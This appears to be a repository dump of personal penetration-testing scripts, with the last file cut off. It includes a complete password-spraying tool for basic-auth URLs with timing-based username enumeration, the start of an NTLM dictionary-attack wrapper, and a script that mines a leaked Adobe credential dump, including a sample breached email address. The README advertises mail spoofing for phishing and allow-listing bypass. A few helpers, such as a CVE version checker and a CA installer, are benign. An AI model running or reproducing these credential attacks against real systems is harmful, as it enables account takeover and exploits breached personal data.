├── README.md
├── adobe-grepper.py
├── android-install-burp-ca.py
├── basic-batch.py
├── cve-2020-0688-versioncheck.py
├── dictionary-grepper.py
├── ip2cidr.py
├── markdown_to_outlook.py
├── ntlm-botherer.py
├── progress_decrypt.py
├── relaysend.py
├── scr
├── sendmails.py
├── shell.py
└── spf-enumerator.py
/README.md:
--------------------------------------------------------------------------------
1 | # Random Scripts
2 |
3 | A dumping ground for little helpers
4 |
5 | Here's a few highlights that I use frequently:
6 |
7 | ## sendmails.py
8 |
9 | Versatile mail spoofing script for phishing campaigns.
10 |
11 | ## relaysend.py
12 |
13 | Test internal / open mail relays in infrastructure tests.
14 |
15 | ## ntlm-botherer.py
16 |
17 | Info-leak and dictionary attack tool for NTLM authed web resources.
18 |
19 | ## dictionary-grepper.py
20 |
21 | Take a large password dictionary and apply filters to match your target password policy.
22 |
23 | ## basic-batch.py
24 |
25 | Password spray against various basic auth URLs
26 |
27 | ## shell.py
28 |
29 | Finding a python interpreter on an endpoint is increasingly common and great for bypassing allow-listing. This provides a reasonably powerful CLI to do filesystem stuff, port scanning and process injection. Very useful!
30 |
--------------------------------------------------------------------------------
/adobe-grepper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import argparse
3 | import sys
4 | import os.path
5 | import subprocess
6 | import re
7 |
8 | parser = argparse.ArgumentParser(description="Grep out info from the adobe creds file")
9 | parser.add_argument("term", help="Search term")
10 | parser.add_argument("creds", help="Adobe creds file")
11 | args = parser.parse_args()
12 |
13 | if not args.creds:
14 | parser.print_usage()
15 | sys.exit(2)
16 |
17 | def parseline(line):
18 | # 103238704-|--|-jmyuncker@aol.com-|-r4Vp5iL2VbM=-|-maiden name|--
19 | m = re.findall( '(([^\|]+)\|)', line )
20 | rtn = {}
21 | rtn['email'] = parsevalue(m[2][1])
22 | rtn['pass'] = parsevalue(m[3][1])
23 | rtn['hint'] = ''
24 | for i in range(4,len(m)):
25 | rtn['hint'] += parsevalue(m[i][1])+" "
26 | return rtn
27 |
28 | def parsevalue(val):
29 | return re.sub('^-|-$','',val)
30 |
31 | emaillist = []
32 |
33 | print( 'Searching for '+args.term+' in '+args.creds+'...' )
34 | sys.stdout.flush()
35 |
36 | # First pass - get instances of term
37 | result = subprocess.check_output( 'grep "' + args.term + '" ' + args.creds, shell=True )
38 |
39 | print( 'Found ' + str(len(result.strip().split('\n'))) + ' results in search' )
40 | print( result )
41 | sys.stdout.flush()
42 |
43 | for line in result.split('\n'):
44 | line = line.strip()
45 | if line == '':
46 | continue
47 | emaillist.append(parseline(line))
48 |
49 |
50 | # Get unique list of passwords
51 | passwords = {}
52 | for info in emaillist:
53 | if not info['pass'] in passwords:
54 | if( info['pass'] != '' ):
55 | passwords[info['pass']] = []
56 |
57 | print( 'Searching for shared passwords...' )
58 | sys.stdout.flush()
59 |
60 | # Iterate over passwords, finding all other people who have that password
61 | for password in passwords.keys():
62 | if password == 'password':
63 | continue
64 | print( 'Searching for ' + password + '...' )
65 | sys.stdout.flush()
66 | result = subprocess.check_output('grep "' + password + '" ' + args.creds, shell=True )
67 | print( 'Found ' + str(len(result.strip().split('\n'))) + ' uses' )
68 | sys.stdout.flush()
69 | for line in result.split('\n'):
70 | line = line.strip()
71 | if line == '':
72 | continue
73 | passwords[password].append(parseline(line))
74 |
75 | print('')
76 | print('Email addresses:')
77 | print('================')
78 | sys.stdout.flush()
79 | for person in emaillist:
80 | print(person['email'])
81 | sys.stdout.flush()
82 |
83 | print('')
84 | print('Results:')
85 | print('========')
86 | sys.stdout.flush()
87 |
88 | # Iterate over all people and output relevant password hints
89 | for person in emaillist:
90 | if person['pass'] == '':
91 | continue;
92 | print('')
93 | extra = ''
94 | if len( person['pass'] ) == 12:
95 | extra += ' length <= 7'
96 | elif 'ioxG6CatHBw==' in person['pass']:
97 | extra += ' length == 8'
98 | else:
99 | extra += ' length > 8'
100 | print( person['email'] + ': ' + person['pass'] + extra + ' ('+str(len(passwords[person['pass']]))+')' )
101 | for hint in passwords[person['pass']]:
102 | print( ' ' + hint['email'] + ': ' + hint['hint'] )
103 | sys.stdout.flush()
104 |
105 |
106 |
--------------------------------------------------------------------------------
/android-install-burp-ca.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import argparse, subprocess, requests, shutil
3 | import sys
4 | import os.path
5 |
6 | # Convert a Burp .der file to pem and install it on the connected Android device over ADB
7 |
8 |
9 | pipes = []
10 |
11 | parser = argparse.ArgumentParser(description="Download and convert a Burp CA cert to PEM format and install it on the ADB connected device")
12 | parser.add_argument("-p", "--burpport", default=8080, help="Port number burp is running on")
13 | parser.add_argument("-b", "--burphost", default='localhost', help="Host that burp is running on")
14 | args = parser.parse_args()
15 |
16 | print('Installing the currently running Burp CA cert onto the currently connected Android device...')
17 |
18 | # Download cert from Burp
19 | #
20 | # curl -H "Host: burp" http://:8080/cert -o cacert.der
21 | print('')
22 | print('Downloading cert from Burp')
23 | r = requests.get('http://' + args.burphost + ':' + str( args.burpport ) + '/cert', stream=True)
24 | with open('cacert.der','wb') as f:
25 | shutil.copyfileobj(r.raw, f)
26 |
27 | # Convert to pem
28 | #
29 | # openssl x509 -inform der -in cacert.der -out burp.pem
30 | print('')
31 | print('Converting to PEM')
32 | subprocess.call('openssl x509 -inform der -in cacert.der -out burp.pem', shell=True)
33 |
34 | # Generate the hash which will be become the cert name
35 | #
36 | # openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1
37 | print('')
38 | print('Getting hash')
39 | certhash = subprocess.check_output('openssl x509 -inform PEM -subject_hash_old -in burp.pem | head -1', shell=True).decode('utf8').strip()
40 | print('Hash: ' + str(certhash))
41 | certhash = str(certhash) + '.0'
42 |
43 | # Rename the burp.Pem to .0
44 | #
45 | # mv burp.pem .0
46 | print('')
47 | print('Renaming to ' + str(certhash))
48 | shutil.move( 'burp.pem', str(certhash))
49 |
50 | # Adb push to the sdcard
51 | #
52 | # adb push .0 /sdcard/Download
53 | print('')
54 | print('Uploading to device')
55 | subprocess.call('adb push ' + str(certhash) + ' /sdcard/Download', shell=True )
56 | subprocess.call("adb shell 'ls -l /sdcard/Download'", shell=True )
57 |
58 | # Adb shell remount system partition as readwrite
59 | #
60 | # adb shell
61 | # su
62 | # mount -o remount,rw /system
63 | print('')
64 | print('Remounting system as writable')
65 | subprocess.call("adb shell su root 'mount -o remount,rw /system'", shell=True )
66 | subprocess.call("adb shell su root 'mount | grep system'", shell=True )
67 |
68 | # Mv cert to the /system/etc/security/cacerts
69 | #
70 | # mv /sdcard/Download/.0 /system/etc/security/cacerts
71 | print('')
72 | print('Moving cert into system cacerts dir')
73 | subprocess.call("adb shell su root 'mv /sdcard/Download/"+str(certhash)+" /system/etc/security/cacerts'", shell=True )
74 |
75 | # chmod 644 /system/etc/security/cacerts/.0
76 | print('')
77 | print('Changing permissions to 644')
78 | subprocess.call("adb shell su root 'chmod 644 /system/etc/security/cacerts/"+str(certhash)+"'", shell=True )
79 |
80 | # Adb shell remount system partition as read
81 | #
82 | # mount -o remount,r /system
83 | print('')
84 | print('Remounting as system as read only')
85 | subprocess.call("adb shell su root 'mount -o remount,r /system'", shell=True )
86 |
--------------------------------------------------------------------------------
/basic-batch.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # Password spray basic auth URLs
3 |
4 | import argparse, sys, re, time, signal, requests, urllib3
5 | import os.path
6 | from urllib.parse import urlparse
7 |
8 | # Turn off TLS verification warnings
9 | urllib3.disable_warnings()
10 |
11 | def test_login( username, password, url, proxy=None ):
12 | username = username.strip()
13 | password = password.strip()
14 | headers = {'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36'}
15 | if proxy:
16 | proxies = {'http': proxy, 'https': proxy}
17 | else:
18 | proxies = None
19 |
20 | try:
21 | response = requests.get( url, auth=(username, password), headers=headers, proxies=proxies, verify=False )
22 | if response.status_code != 401:
23 | return True
24 | except SystemExit:
25 | raise
26 | except:
27 | print('[!] ERROR: Request failed')
28 | return False
29 |
30 | def show_found():
31 | global found
32 | if len( found ) > 0:
33 | print('Found:')
34 |
35 | l = {}
36 | # Group by URL
37 | for f in found:
38 | if f['url'] not in l: l[f['url']] = []
39 | l[f['url']].append( f['user'] + ':' + f['pass'] )
40 |
41 | for u,creds in l.items():
42 | print('\n' + u + ':')
43 | print( ' - ' + '\n - '.join( creds ) + '\n' )
44 |
45 | else: print("No creds found :(")
46 |
47 | def cancel_handler(signal=None,frame=None):
48 | print("Caught ctrl-c, quitting...")
49 | show_found()
50 | sys.exit(0)
51 |
52 | def main():
53 | global found, args
54 | signal.signal(signal.SIGINT, cancel_handler)
55 | parser = argparse.ArgumentParser(description="Script for password spraying basic auth URLs")
56 | parser.add_argument("-e", "--enumerate", action="store_true", help="Attempt time-based username enumeration")
57 | parser.add_argument("-c", "--credslist", help="File with list of credentials in : format to use")
58 | parser.add_argument("-u", "--user", help="Username to dictionary attack as")
59 | parser.add_argument("-U", "--userlist", help="Username list to dictionary attack as")
60 | parser.add_argument("-p", "--password", help="Password to dictionary attack as")
61 | parser.add_argument("-P", "--passlist", help="Password list to dictionary attack as")
62 | parser.add_argument("-D", "--delay", help="Delay between each attempt, in seconds")
63 | parser.add_argument("-s", "--same", action="store_true", help="Try password=username")
64 | parser.add_argument("-b", "--blank", action="store_true", help="Try blank password")
65 | parser.add_argument("-1", "--quitonsuccess", action="store_true", help="Stop as soon as the first credential is found")
66 | parser.add_argument("-n", "--noskip", action="store_true", help="Don't skip a user after finding valid creds")
67 | parser.add_argument("--proxy", help="URL of HTTP proxy to send requests through, e.g. http://localhost:8080")
68 | parser.add_argument("url", help="URL or file containing list of URLs protected by basic auth")
69 | args = parser.parse_args()
70 |
71 | if not args.url:
72 | parser.print_usage()
73 | sys.exit(2)
74 |
75 | print()
76 | if( args.url.startswith("https://") or args.url.startswith("http://") ):
77 | urls = [args.url]
78 | else:
79 | # Arg is a file
80 | with open( args.url, 'r' ) as f:
81 | urls = f.read().splitlines()
82 |
83 | if args.delay:
84 | args.delay = int(args.delay)
85 |
86 | found = []
87 | queue = []
88 | users = []
89 | passwords = []
90 | creds = []
91 |
92 | # Attempt time-based username enumeration. Valid users are quicker to respond on MS mail servers
93 | # Inspired by: https://github.com/busterb/msmailprobe
94 | if ( args.user or args.userlist ) and args.enumerate:
95 | for url in urls:
96 | userlist = []
97 | enumerated = []
98 | if args.user: userlist.append(args.user)
99 | if args.userlist:
100 | with open( args.userlist, "r" ) as f:
101 | for u in f.read().splitlines():
102 | userlist.append(u)
103 |
104 | # Generate fake usernames
105 | import random, string
106 | fakeusers = []
107 | for i in range(10):
108 | fakeusers.append(''.join(random.choices(string.ascii_lowercase + string.digits, k=10)))
109 |
110 | # Determine an average response time for fake usernames
111 | print('Working out an average response time for invalid usernames...' )
112 | import time, statistics
113 | responsetimes = []
114 | for u in fakeusers:
115 | start = round(time.time() * 1000)
116 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url )
117 | responsetimes.append(round(time.time() * 1000) - start)
118 | avgresponse = statistics.mean( responsetimes )
119 | print('\nAverage response time:',avgresponse,'ms')
120 |
121 | # Run through each user, compare to average
122 | for u in userlist:
123 | start = round(time.time() * 1000)
124 | test_login( u, 'ThisIsNotAnyonesRealPasswordIShouldHope', url )
125 | elapsed = round(time.time() * 1000) - start
126 | # print('Elapsed:', elapsed)
127 |
128 | # If it's significantly less than average, it's valid. I guess we're hard-coding the significance!
129 | if elapsed < (avgresponse * 0.77):
130 | enumerated.append( u )
131 | print("[+] " + u )
132 | else:
133 | print("[-] " + u )
134 |
135 | print('Finished enumeration on', url)
136 | if len( enumerated ) > 0:
137 | print( 'Valid users:\n\n' + '\n'.join(enumerated))
138 | else:
139 | print( 'No valid users found :(' )
140 |
141 | if (( args.user or args.userlist ) and ( args.password or args.passlist )) or args.credslist:
142 |
143 | # Check user list
144 | if args.userlist and not os.path.isfile(args.userlist):
145 | print('Couldn\'t find ' + args.userlist)
146 | parser.print_usage()
147 | sys.exit(2)
148 |
149 | # Check password list
150 | if args.passlist and not os.path.isfile(args.passlist):
151 | print('Couldn\'t find ' + args.passlist)
152 | parser.print_usage()
153 | sys.exit(2)
154 |
155 | # Check creds list
156 | if args.credslist and not os.path.isfile(args.credslist):
157 | print('Couldn\'t find ' + args.credslist)
158 | parser.print_usage()
159 | sys.exit(2)
160 |
161 | if args.user:
162 | users = [args.user.strip()]
163 |
164 | if args.userlist:
165 | with open( args.userlist, 'r' ) as f:
166 | users.extend( f.read().splitlines() )
167 |
168 | if args.password:
169 | passwords = [args.password.strip()]
170 |
171 | if args.passlist:
172 | with open( args.passlist, 'r' ) as f:
173 | passwords.extend( f.read().splitlines() )
174 |
175 | if args.credslist:
176 | with open( args.credslist, 'r' ) as f:
177 | for line in f.read().splitlines():
178 | if line == '':
179 | continue
180 | c = line.split(':')
181 | if len( c ) < 2:
182 | print('No username / pass combination in: ' + line)
183 | continue
184 | creds.append({ 'user':c[0], 'pass':':'.join(c[1:]) })
185 |
186 | # Loop in the order users, urls, passwords
187 | # i.e.
188 | # url1,user1,password1
189 | # url1,user2,password1
190 | # url1,user3,password1
191 | # url2,user1,password1
192 | # url2,user2,password1
193 | # url2,user3,password1
194 | # url3,user1,password1
195 | # url3,user2,password1
196 | # url3,user3,password1
197 | # url1,user1,password2
198 | # url1,user2,password2
199 | # url1,user3,password2
200 | # url2,user1,password2
201 | # url2,user2,password2
202 | # url2,user3,password2
203 | # url3,user1,password2
204 | # url3,user2,password2
205 | # url3,user3,password2
206 | # url1,user1,password3
207 | # url1,user2,password3
208 | # url1,user3,password3
209 | # url2,user1,password3
210 | # url2,user2,password3
211 | # url2,user3,password3
212 | # url3,user1,password3
213 | # url3,user2,password3
214 | # url3,user3,password3
215 |
216 | # Compile queue
217 | for url in urls:
218 | for cred in creds:
219 | item = cred
220 | item["url"] = url
221 | queue.append(item)
222 |
223 | for user in users:
224 |
225 | # password = username
226 | if args.same:
227 | queue.append({ "url":url, "user":user, "pass":user })
228 |
229 | # blank password
230 | if args.blank:
231 | queue.append({ "url":url, "user":user, "pass":""})
232 |
233 |
234 | for pw in passwords:
235 | for url in urls:
236 | for user in users:
237 | queue.append({ "url": url, "user": user, "pass": pw })
238 |
239 | foundusers = []
240 |
241 | print('Generated request queue of '+str(len(queue))+' items')
242 | count = 1
243 |
244 | for item in queue:
245 | skip = False
246 |
247 | print('['+str(count)+'/'+str(len(queue))+'] ',end='')
248 | count+=1
249 |
250 | # Check they're not already found
251 | if not args.noskip:
252 | for f in found:
253 | if f["user"] == item["user"] and f["url"] == item["url"]:
254 | print('[-] Skipping already found user:' + item['user'] + ' for ' + item['url'])
255 | skip = True
256 |
257 | if skip:
258 | continue
259 |
260 | # Test login
261 | print("[*] Testing " + item['user'] + " : " + item['pass'] + " ("+item['url']+")")
262 | if test_login( item["user"], item["pass"], item["url"], args.proxy ):
263 | print("[+] FOUND: " + item['user'] + " : " + item['pass'] + ' ('+item['url']+')')
264 | found.append( item )
265 |
266 | # Quit on first found credential
267 | if args.quitonsuccess:
268 | show_found()
269 | sys.exit(0)
270 |
271 | # Rate limiting
272 | if args.delay:
273 | time.sleep(args.delay)
274 |
275 | show_found()
276 |
277 | print("Done")
278 |
279 | if __name__ == '__main__':
280 | main()
281 |
--------------------------------------------------------------------------------
/cve-2020-0688-versioncheck.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import urllib3, argparse, re, requests, sys
4 | urllib3.disable_warnings()
5 |
6 | # Build numbers vs versions and CUs
7 | # https://www.msoutlook.info/question/277
8 | vers = {
9 | "15.2.221":"2019",
10 | "15.2.330":"2019 CU1",
11 | "15.2.397":"2019 CU2",
12 | "15.2.464":"2019 CU3",
13 | "15.2.529":"2019 CU3",
14 | "15.1.225":"2016",
15 | "15.1.396":"2016 CU1",
16 | "15.1.466":"2016 CU2",
17 | "15.1.544":"2016 CU3",
18 | "15.1.669":"2016 CU4",
19 | "15.1.845":"2016 CU5",
20 | "15.1.1034":"2016 CU6",
21 | "15.1.1261":"2016 CU7",
22 | "15.1.1415":"2016 CU8",
23 | "15.1.1466":"2016 CU9",
24 | "15.1.1531":"2016 CU10",
25 | "15.1.1591":"2016 CU11",
26 | "15.1.1713":"2016 CU12",
27 | "15.1.1779":"2016 CU13",
28 | "15.1.1847":"2016 CU14",
29 | "15.1.1913":"2016 CU15",
30 | "15.0.516":"2013",
31 | "15.0.620":"2013 CU1",
32 | "15.0.712":"2013 CU3",
33 | "15.0.775":"2013 CU3",
34 | "15.0.847":"2013 SP1 (CU4)",
35 | "15.0.913":"2013 CU5",
36 | "15.0.995":"2013 CU6",
37 | "15.0.1044":"2013 CU7",
38 | "15.0.1076":"2013 CU8",
39 | "15.0.1104":"2013 CU9",
40 | "15.0.1130":"2013 CU10",
41 | "15.0.1156":"2013 CU11",
42 | "15.0.1178":"2013 CU12",
43 | "15.0.1210":"2013 CU13",
44 | "15.0.1236":"2013 CU14",
45 | "15.0.1263":"2013 CU15",
46 | "15.0.1293":"2013 CU16",
47 | "15.0.1320":"2013 CU17",
48 | "15.0.1347":"2013 CU18",
49 | "15.0.1365":"2013 CU19",
50 | "15.0.1367":"2013 CU20",
51 | "15.0.1395":"2013 CU21",
52 | "15.0.1473":"2013 CU22",
53 | "15.0.1497":"2013 CU23",
54 | "14.0.639":"2010",
55 | "14.1.218":"2010 SP1",
56 | "14.2.247":"2010 SP2",
57 | "14.2.318":"2010 SP2 RU4",
58 | "14.3.123":"2010 SP3",
59 | "14.3.266":"2010 SP3 RU11",
60 | "14.3.279":"2010 SP3 RU12",
61 | "14.3.294":"2010 SP3 RU13",
62 | "14.3.301":"2010 SP3 RU14",
63 | "14.3.319":"2010 SP3 RU15",
64 | "14.3.339":"2010 SP3 RU16",
65 | "14.3.352":"2010 SP3 RU17",
66 | "14.3.361":"2010 SP3 RU18",
67 | "14.3.382":"2010 SP3 RU19",
68 | "14.3.389":"2010 SP3 RU20",
69 | "14.3.399":"2010 SP3 RU21",
70 | "14.3.411":"2010 SP3 RU22",
71 | "14.3.417":"2010 SP3 RU23",
72 | "14.3.419":"2010 SP3 RU24",
73 | "14.3.435":"2010 SP3 RU25",
74 | "14.3.442":"2010 SP3 RU26",
75 | "14.3.452":"2010 SP3 RU27",
76 | "14.3.461":"2010 SP3 RU28",
77 | "14.3.468":"2010 SP3 RU29",
78 | "8.0.685":"2007",
79 | "8.1.240":"2007 SP1",
80 | "8.2.176":"2007 SP2",
81 | "8.3.83":"2007 SP3",
82 | "8.3.517":"2007 SP3 RU23"
83 | }
84 |
85 | # From https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688
86 | fixed = ["2010 SP3 RU30","2013 CU23","2016 CU14","2016 CU15","2019 CU3","2019 CU4"]
87 |
88 | # Parse args
89 | parser = argparse.ArgumentParser(description="Check the version of an OWA instance")
90 | parser.add_argument("url", help="URL of OWA, e.g. https://webmail.company.com/")
91 | args = parser.parse_args()
92 | if not args.url:
93 | parser.print_usage()
94 | sys.exit(2)
95 |
96 | # Get login page
97 | url = args.url + '/owa/auth/logon.aspx'
98 |
99 | r = requests.get( url, verify=False )
100 |
101 | # Get build number from response
102 | m = re.search(r'(?P[0-9]+)\.(?P[0-9])\.(?P[0-9]+)(\.(?P[0-9]\+))?',r.text)
103 | if not m:
104 | print('Couldn\'t find a build number')
105 | sys.exit(1)
106 |
107 |
108 | print('Vulnerability was fixed in:\n - ' + '\n - '.join(fixed))
109 |
110 | build = m.group('major') + '.' + m.group('minor') + '.' + m.group('build')
111 | print('Build is ' + build)
112 | if build not in list(vers.keys()):
113 | print('Don\'t know that build number, taking a guess...')
114 | if int(m.group('major')) < 14:
115 | print('This is older than Exchange 2010 - possibly too old to be vulnerable!')
116 | sys.exit(0)
117 | else:
118 | # Get all builds of this version
119 | v = m.group('major') + '.' + m.group('minor') + '.'
120 | for b,cu in vers.items():
121 | if b.startswith( v ):
122 | if cu in fixed:
123 | # Is the build bigger than the fixed version?
124 | fb = int(b.split('.')[2])
125 | print('Vuln was fixed in build', fb )
126 | if int(m.group('build')) > fb:
127 | print('This build is later - not vulnerable')
128 | sys.exit(0)
129 | print('No idea what this is')
130 | sys.exit(1)
131 | else:
132 | version = vers[build]
133 | print('Matches version: ' + version)
134 | if version not in fixed:
135 | print('VULNERABLE TO CVE-2020-0688!')
136 | else:
137 | print('Patched against CVE-2020-0688')
138 |
--------------------------------------------------------------------------------
/dictionary-grepper.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | import argparse, subprocess
3 | import sys
4 | import os.path
5 |
6 | # Create a series of grep pipes to cut down a large dictionary of passwords to just ones relevant to a password policy
7 |
8 | pipes = []
9 |
10 | parser = argparse.ArgumentParser(description="Grep out a dictionary file")
11 | parser.add_argument("-l", "--len", help="Minimum length of passwords")
12 | parser.add_argument("-m", "--maxlen", help="Maximum length of passwords")
13 | parser.add_argument("-e", "--excludelist", help="Exclude items from the specified word list")
14 | parser.add_argument("-u", "--upper", action="store_true", help="Must contain an uppercase character")
15 | parser.add_argument("-L", "--lower", action="store_true", help="Must contain a lowercase character")
16 | parser.add_argument("-a", "--letter", action="store_true", help="Must contain an upper or lower case letter")
17 | parser.add_argument("-n", "--numbers", action="store_true", help="Must contain a number")
18 | parser.add_argument("-s", "--special", action="store_true", help="Must contain at least one special (non-alphanumeric) character")
19 | parser.add_argument("-N", "--specnum", action="store_true", help="Must contain at least one special character or number")
20 | parser.add_argument("-S", "--specupnum", action="store_true", help="Must contain at least one special character, uppercase character or number")
21 | parser.add_argument("-f", "--firstupper", action="store_true", help="First character is uppercase")
22 | parser.add_argument("-r", "--norepeat", action="store_true", help="No repeating characters")
23 | parser.add_argument("-w", "--windows", action="store_true", help="Same as '-l 8 -u -L -N' to approximately match Windows minimum password complexity requirements: 8 chars, at least 3 of upper, lower, number, special, unicode")
24 | parser.add_argument("dictionary", help="Input dictionary file")
25 | args = parser.parse_args()
26 |
27 | if not args.dictionary:
28 | parser.print_usage()
29 | sys.exit(2)
30 |
31 | if not os.path.isfile( args.dictionary ):
32 | print(( "Not found: " + args.dictionary ))
33 | sys.exit(2)
34 |
35 |
36 | # Work out grep pipes
37 | pipes.append( ('cat', args.dictionary) )
38 |
39 | if args.windows:
40 | if not args.len:
41 | args.len = 8
42 | args.upper = True
43 | args.lower = True
44 | args.specnum = True
45 |
46 | if args.len:
47 | pipes.append( ['grep', r"^.\{{{0},\}}$".format(int(args.len))] )
48 |
49 | if args.maxlen:
50 | pipes.append( ['grep', r'^.{,'+str(int(args.maxlen))+'}$' ] )
51 |
52 | if args.excludelist:
53 | pipes.append( [ 'grep', '-x', '-v', '-F', '-f', args.excludelist ] )
54 |
55 | if args.upper:
56 | pipes.append( ['grep', '[A-Z]'] )
57 |
58 | if args.lower:
59 | pipes.append( ['grep', '[a-z]' ] )
60 |
61 | if args.letter:
62 | pipes.append( ['grep', '[A-Za-z]' ] )
63 |
64 | if args.numbers:
65 | pipes.append( ['grep', '[0-9]' ] )
66 |
67 | if args.special:
68 | pipes.append( ['grep', '[^a-zA-Z0-9]' ] )
69 |
70 | if args.specnum:
71 | pipes.append( ['grep', r'\([^a-zA-Z0-9]\|[0-9]\)' ])
72 |
73 | if args.specupnum:
74 | pipes.append( ['grep', r'\([^a-zA-Z0-9]\|[0-9]\|[A-Z]\)' ])
75 |
76 | if args.firstupper:
77 | pipes.append( ['grep', '^[A-Z]' ])
78 |
79 | if args.norepeat:
80 | pipes.append( ['grep', '-v', r'\(.\)\1' ])
81 |
82 | procs = []
83 | for p in pipes:
84 |
85 | # Any stdout available?
86 | if len( procs ) > 0:
87 | out = procs[-1].stdout
88 | else:
89 | out = None
90 |
91 | procs.append( subprocess.Popen(p, stdout=subprocess.PIPE, stdin=out, universal_newlines=False) )
92 |
93 | out,err = procs[-1].communicate()
94 |
95 | print(out.decode('utf8'))
96 |
97 |
98 |
--------------------------------------------------------------------------------
/ip2cidr.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 |
3 | """
4 | Usage: ip2cidr.py input_file
5 | Based on http://www.unix.com/shell-programming-and-scripting/233825-convert-ip-ranges-cidr-netblocks.html
6 | """
7 |
8 | import sys, re, netaddr
9 |
10 | def sanitize (ip):
11 | seg = ip.split('.')
12 | return '.'.join([ str(int(v)) for v in seg ])
13 |
14 | # pointer to input file
15 | fp_source = open(sys.argv[1], "r")
16 |
17 | ptrnSplit = re.compile(' - | , ')
18 |
19 | for line in fp_source:
20 |
21 | # parse on ' - ' et ' , '
22 | s = re.split(ptrnSplit, line)
23 |
24 | # sanitize ip: 001.004.000.107 --> 1.4.0.107 to avoid netaddr err.
25 | ip = [ sanitize(v) for v in s[:2] ]
26 |
27 | # conversion ip range to CIDR netblocks
28 | # single ip in range
29 | if ip[0] == ip[1]:
30 | print( ip[0])
31 |
32 | # multiple ip's in range
33 | else:
34 | ipCidr = netaddr.IPRange(ip[0], ip[1])
35 | for cidr in ipCidr.cidrs():
36 | print(cidr)
37 |
38 |
--------------------------------------------------------------------------------
/markdown_to_outlook.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Convert a markdown file into HTML that looks like it was generated in the default Outlook style
3 |
4 | import sys, pypandoc, re
5 |
6 | htmlformat='html'
7 | markdownformat='gfm+pipe_tables'
8 | extra = ['--wrap=preserve']
9 |
10 | infile = sys.argv[1]
11 |
12 | md = open(infile,'r').read()
13 |
14 | html = pypandoc.convert_text( md, format=markdownformat, to=htmlformat, extra_args=extra )
15 |
16 | # Preserve single line breaks
17 | html = re.sub(r'([^>])($)',r'\1
',html, flags=re.M)
18 |
19 | # Add spacing paragraphs
20 | html = html.replace('
','\n
')
21 |
22 | # Add Outlook tags
23 | html = html.replace(r'', r'
').replace( r'
', r'' )
24 |
25 | # List items
26 | html = html.replace('','')
27 |
28 | # Divs
29 | html = html.replace('','
')
30 |
31 | # Add HTML header stuff
32 | html = '''
33 |
34 |
35 |
36 |
37 |
350 |
351 |
352 |
353 | ''' + html + '
'
354 |
355 | print(html)
356 |
--------------------------------------------------------------------------------
/ntlm-botherer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # Simple wrapper for some command line NTLM attacks
3 |
4 | import argparse
5 | import sys
6 | import os.path
7 | import subprocess
8 | from urllib.parse import urlparse
9 | import re
10 | import time
11 | import signal
12 |
13 | def test_login( username, password, url, http1_1 = False ):
14 | global args, found, foundusers
15 | username = username.strip()
16 | password = password.strip()
17 |
18 | # Skip this attempt if we already have credentials for this user
19 | if username in foundusers:
20 | return False
21 |
22 | print("[*] Testing " + username + " : " + password)
23 | # cmd = "curl -s -I --ntlm --user " + username + ":" + password + " -k " + url
24 | try:
25 | cmd = ["curl", "-s", "-I", "--ntlm", "--user", username + ":" + password, "-k"]
26 | if http1_1:
27 | cmd.append( '--http1.1' )
28 | if args.cert and args.key:
29 | cmd.extend(['--cert',args.cert,'--key',args.key])
30 | cmd.append(url)
31 | out = subprocess.check_output( cmd ).decode('utf8')
32 | if args.debug:
33 | print( out )
34 | m = re.findall( r"HTTP\/\d.\d (\d{3})", out )
35 | for code in m:
36 | if code != "401":
37 | print("[+] FOUND: " + username + " : " + password)
38 | found.append( username + " : " + password )
39 | foundusers.append( username )
40 | if args.quitonsuccess:
41 | sys.exit(0)
42 | if args.delay:
43 | time.sleep(args.delay)
44 | return True
45 |
46 | if args.delay:
47 | time.sleep(args.delay)
48 | except SystemExit:
49 | raise
50 | except:
51 | print('ERROR: curl call failed')
52 | return False
53 |
54 | def show_found():
55 | if len( found ) > 0: print("Found:\n - " + "\n - ".join(found))
56 | else: print("No creds found :(")
57 |
58 | def cancel_handler(signal=None,frame=None):
59 | print("Caught ctrl-c, quitting...")
60 | show_found()
61 | sys.exit(0)
62 |
63 | signal.signal(signal.SIGINT, cancel_handler)
64 |
65 | parser = argparse.ArgumentParser(description="Wrapper for NTLM info leak and NTLM dictionary attack")
66 | parser.add_argument("-i", "--info", action="store_true", help="Exploit NTLM info leak")
67 | parser.add_argument("-e", "--enumerate", action="store_true", help="Attempt time-based username enumeration on URL")
68 | parser.add_argument("-c", "--credslist", help="File with list of credentials in
: format to use")
69 | parser.add_argument("-u", "--user", help="Username to dictionary attack as")
70 | parser.add_argument("-U", "--userlist", help="Username list to dictionary attack as")
71 | parser.add_argument("-p", "--password", help="Password to dictionary attack as")
72 | parser.add_argument("-d", "--domain", help="NTLM domain name to attack")
73 | parser.add_argument("-P", "--passlist", help="Password list to dictionary attack as")
74 | parser.add_argument("-D", "--delay", help="Delay between each attempt, in seconds")
75 | parser.add_argument("-s", "--same", action="store_true", help="Try password=username")
76 | parser.add_argument("-b", "--blank", action="store_true", help="Try blank password")
77 | parser.add_argument("-1", "--quitonsuccess", action="store_true", help="Stop as soon as the first credential is found")
78 | parser.add_argument("--debug", action="store_true", help="Output debug info")
79 | parser.add_argument("--http1_1", action="store_true", help="Force use of HTTP 1.1 (if you're getting \"curl call failed\" errors due to HTTP2)")
80 | parser.add_argument("--cert", nargs='?', help="Client side PEM cert file")
81 | parser.add_argument("--key", nargs='?', help="Client side PEM key file")
82 | parser.add_argument("url", help="URL of NTLM protected resource, e.g. https://webmail.company.com/ews/exchange.asmx")
83 | args = parser.parse_args()
84 |
85 | if not args.url:
86 | parser.print_usage()
87 | sys.exit(2)
88 |
89 | print()
90 |
91 | if args.delay:
92 | args.delay = int(args.delay)
93 |
94 | url = urlparse(args.url)
95 | if not url.port:
96 | if url.scheme == 'https':
97 | port = 443
98 | else:
99 | port = 80
100 | else:
101 | port = url.port
102 |
